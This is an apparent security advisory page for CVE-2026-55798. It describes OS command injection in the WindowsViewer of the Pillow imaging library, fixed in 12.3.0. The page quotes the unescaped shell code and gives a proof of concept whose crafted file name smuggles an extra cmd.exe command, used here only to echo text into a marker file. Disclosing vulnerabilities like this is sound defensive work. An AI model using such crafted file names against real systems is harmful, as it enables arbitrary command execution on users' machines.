CVE-2026-55798: Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

Published Jul 6, 2026
·
Updated

1. Summary

WindowsViewer.getcommand() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py.

---

2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

python class WindowsViewer(Viewer): format = "PNG" options = {"compresslevel": 1, "saveall": True}

def getcommand(self, file: str, options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again )

def showfile(self, path: str, options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.getcommand(path, options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATENOWINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1

Contrast with macOS — SAFE (line 164–168): python class MacViewer(Viewer): def getcommand(self, file: str, options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied

Cross-platform summary:

| Platform | Class | shlex.quote()? | shell=True? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes | | Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes | | Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No |

shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice.

--- 3. Proof of Concept

A full working PoC is at pocpillowinjection.py. Key parts:

Part A — Injection string construction (static, no execution): python from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer() evilpath = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.getcommand(evilpath) print(cmd) Output: start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) ├─ & echo PWNED → INJECTED COMMAND └─ & echo "" && ping ... → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1): python import os, tempfile from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer() pocdir = tempfile.mkdtemp() marker = os.path.join(pocdir, "INJECTIONCONFIRMED.txt")

Craft injection: payload writes a marker file (harmless) payload = f'echo REALINJECTED > "{marker}"' evilpath = os.path.join(pocdir, f'poc" & {payload} & echo "')

Call the REAL Pillow getcommand(): realcmd = viewer.getcommand(evilpath)

Execute the same way the base Viewer.showfile() does (os.system): os.system(realcmd)

assert os.path.exists(marker) # PASSES — marker was created assert "REALINJECTED" in open(marker).read() # PASSES → CONFIRMED: arbitrary command injection via getcommand()

---

Other sources

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.getcommand() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

MITRE

Affected Software

3 affected componentsFixes available
Pillow Pillow<12.3.0
Python Pillow<12.3.0
pip/Pillow<12.3.0
12.3.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/Pillow to a version that resolves this vulnerability.

    Fixed in 12.3.0
  2. Upgrade

    Upgrade Pillow (ImageShow.py WindowsViewer.get_command) to a version that resolves this vulnerability.

    Fixed in 12.3.0

Event History

Jul 6, 2026
CVE Published
via MITRE·06:44 PM
Data Sourced
via MITRE·06:44 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jul 20, 2026
Advisory Published
via GitHub·09:14 PM
Data Sourced
via GitHub·09:14 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-55798?

The severity of CVE-2026-55798 is medium with a score of 4.5.

2

How do I fix CVE-2026-55798?

To fix CVE-2026-55798, upgrading Pillow to version 12.3.0 or later is recommended.

3

What types of attacks does CVE-2026-55798 facilitate?

CVE-2026-55798 facilitates OS command injection attacks through unescaped shell paths.

4

Which component of Pillow is affected by CVE-2026-55798?

CVE-2026-55798 affects the WindowsViewer.get_command() function within the Pillow library.

5

What versions of Pillow are vulnerable to CVE-2026-55798?

Versions of Pillow prior to 12.3.0 are vulnerable to CVE-2026-55798.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203